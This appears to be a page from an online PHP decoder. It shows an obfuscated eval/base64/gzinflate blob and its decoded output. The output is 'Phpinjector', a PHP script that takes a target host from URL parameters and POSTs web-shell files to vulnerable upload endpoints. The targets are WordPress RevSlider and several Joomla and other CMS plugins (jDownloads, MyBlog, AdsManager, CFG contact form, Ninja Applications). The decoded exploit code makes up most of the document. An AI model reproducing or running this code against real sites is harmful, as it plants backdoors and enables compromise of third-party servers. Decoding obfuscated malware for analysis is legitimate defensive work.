Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(str_rot13(gzinflate(str_rot13(base64_decode('xUrxQuJVFP4ZE/+HVlAsJkNASveUxV0wQ7I/GA+N..

Decoded Output download

error_reporting(0);
set_time_limit(0);

class Phpinjector {
	public $url, $xpl,$target,$data = array();
	
	public function __construct() {
		if(isset($_GET['x'])) {
			if(isset($_GET['y'])) {
				$y = strtolower($_GET['y']);
				switch($y) {
					case "ninja":
						$this->url = urldecode($_GET['x']);
						$this->ninjaApp();
					break;
					case "cfg":
						$id = (isset($_GET['id'])) ? abs((int)$_GET['id']) : 1;
						$this->url = urldecode($_GET['x']);
						$this->cfgContact($id);
					break;
					case "rev":
						$this->url = urldecode($_GET['x']);
						$this->revslider();
					break;
					case "jblog":
						$this->url = urldecode($_GET['x']);
						$this->jblog();
					break;
					case "jdl":
						$this->url = urldecode($_GET['x']);
						$this->jdownloads();
					break;
					case "ads":
						$this->url = urldecode($_GET['x']);
						$this->adsManager();
					break;	
				}
			}
		} else {
			echo "Im ready";	
		}
	}
	private function revslider() {
		$action = "revslider_ajax_action";
		$xpl    = "revslider.zip";	
		
		$this->target = "http://".$this->url."/wp-admin/admin-ajax.php";	
		$this->data = array(
					   		 "action" => $action,
					   		 "client_action"  => "update_plugin",
					   		 "update_file"   => "@$xpl",
			   				);
		$this->execute();
	}
	
	private function jdownloads() {
		$image = "ini.zip";
		$pic   = "ini.php.j";
		$this->target = "http://".$this->url."/index.php?option=com_jdownloads&Itemid=0&view=upload";
		$this->data = array(
					   'name' => 'khalon',
					   'mail' => '[email protected]',
					   'catlist' => '1',
					   'file_upload' => "@$image",
					   'filetitle' => "awesome file",
					   'description' => "<p>my awesome file</p>" ,
					   '2d1a8f3bd0b5cf542e9312d74fc9766f' => 1,
					   'send' => 1,
					   'senden' => "Send file", 
					   'description' => "<p>your really need this</p>",
					   'option' => "com_jdownloads",
					   'view' => "upload",
					   'pic_upload' => "@$pic"
			   );
		$this->execute();
	}
	
	private function cfgContact($id) {
		$xpl = "ini.php";
		$this->target = "http://".$this->url."/cfg-contactform-".$id."/inc/upload.php?folder=/cfg-contactform/upload/&fileext=php";
		$this->data = array('Filedata' => "@$xpl");
		$this->execute();	
	}
	private function jblog() {
		$xpl = "ini.php.xxxjpg";
		$this->target = "http://".$this->url."/index.php?option=com_myblog&task=ajaxupload";
		$this->data = array('fileToUpload' => "@$xpl");
		$this->execute();
	}
	
	private function adsManager() {
		$xpl = "ini.jpg";
		$this->target = "http://".$this->url."/index.php?option=com_adsmanager&task=upload&tmpl=component";
		$this->data = array( 'file' => "@$xpl",
					   		 'name' => 'parser.php'
			      		  );
		$this->execute();
	}
	private function ninjaApp() {
		$xpl = "ini.jpg";
		$this->target = "http://".$this->url."/ninja-applications/fufu/controllers/uploader/upload.php";
		$this->data = array( 'file' => "@$xpl",
					   		 'name' => 'parser.php'
			      		  );
		$this->execute();
	}
	
	private function execute() {
		$ch = curl_init ($this->target);
		curl_setopt ($ch, CURLOPT_RETURNTRANSFER, TRUE);
		curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, TRUE);
		curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT,3 );
		curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6");
		curl_setopt ($ch, CURLOPT_POST, TRUE);
		curl_setopt ($ch, CURLOPT_POSTFIELDS, $this->data);
		$result = curl_exec($ch);
		curl_close($ch);
		print $result;
		exit;	
	}
}
new Phpinjector();

Did this file decode correctly?

Original Code

eval(str_rot13(gzinflate(str_rot13(base64_decode('xUrxQuJVFP4ZE/+HVlAsJkNASveUxV0wQ7I/GA+NiV4uWqeZQQVpmEFuZ23xf783nSIFFdZjyRktaN733vfe995ZiyAEE4+IABMq/UylZNja3wsF9ahZhadxKqlM29/jioUhupwH0n8SnG+C/tnfKwXRR1aOyhFESEceB6pNpozMBK2WcFMZdyNTCJtHZ4zSEp9RPqcS+8jzOPZQVyJBK4dMxJJZKjKEHCpy72no/nKP7b8PZtMb26RgK5UnQAexKElrJFUR0zKIYyQpn0rKk0qfEnShQJYPUjHrPF8rlelchrULKAoiwjUWHMeimEN4DZoFuAqCyqtyVwR7Ya2w8HFJ4JAxBF8tVMZMPd8Rm4aVivTpbtGAzkRmnfcTKQL7NfYpA6WBe0aeUTzuogW4h1fG0IFaJEJGhXS70HEBNkbEdyeCGI98hUwcYXEB+y4s4P7AfDZ7K0rJ/PeSfXHXFyQUQ5rZFXyOkWiXIgDHE8vANVn/BVE+MiqWG63QFONfc8bQzvp6eR57b3DPGKwsGb2lEfwURM4vGeRnGcTUbra9Bs4pDc7raMtMiuFL9URDcGQq/W1prXYmJ5gvAuXQlTMjFwPY4W/lTKH2BcpGr64CuJLCp4vskQZNRAARhReodSZ9eM0hNyZFCQsZ/A9dYo7LQ6WSdleenxgLHkRuOvWSH3brRRfnJtdNptBgrY30pZEvWw7gKFGLchDDbLJNn5BH+rHIUfyOA83c5jj1luwHakekMmE3Dh6lGLWjQK+uEHwgt+2zR9hNEPtszhT27YJlacqkKho98sMX9ESGkIEDag6Yi2vOqJIhNS7NFZOW3jNs2bn+mUXWOohXqllTFhuJEKcgt2FbEReLkBOZCW6Q34KLZ4KK+GL14MJPUqejuMn+VY6nZHBtwpOTL1Ti7LhsFH/9kvCzr6enVhapTPQIhR+/vypl3j7c5+mhLflaY1H0/kh3gnwhb6T7knJMDI4LQastXoHpLtv52HStLhpu1NaUhhV4MeifH/K1p1Y+5/q0S47zp4YZAta4iZhgktbALON5yGzdJJ5abYLhWSXtaGsOqR913cWYttfpSlPdvgGUXrELu/4DDVcfnaj58+fdyp3xa/wUzGnfzelRsxxDFj639ZG5ehN0u8XFg5VBYqhhUIeLD6a3Uv4n1QFSdyhZhaa6A5oGV9sD7MOJ/mSx5nmw35zcixO+Y44FjITw5AJ+ezHzBrNy9N+osnzR212TLEmNBQG8EjMdPawnRBLV9VwTrJQgbj7XghT2wP8qyHuavIJlVvgcMuJDoweqQ0dMkcOEz6zw5gvDAGk+r6LrTu++e+ltvaE76Gjc3kinfzPsSJHbGwy3+dxn7++7P++710ruXbfzez7X3UF0a+26ag/D7sCtHqN6DoP+sGpoO+y4SHE94F9FKUk/ZBqo8hNzG4/CFhq0Q36POi46ZJotJPzaoN9P5PG86Zw5VIfoSfB0XD93NBuNc/ME3VUiEjyuHzun1rYELrt99/d308ibu+H9n334Rback7yzUYSRoosW6eZ2709ZrmMolnjQYp+i3C1bEXBWFwcj/PpvR/xvCMPyLw=='))))); 

Function Calls

gzinflate 1
str_rot13 2
base64_decode 1

Variables

None

Stats

MD5 1dab64975d216f0f376f228d423ed239
Eval Count 1
Decode Time 91 ms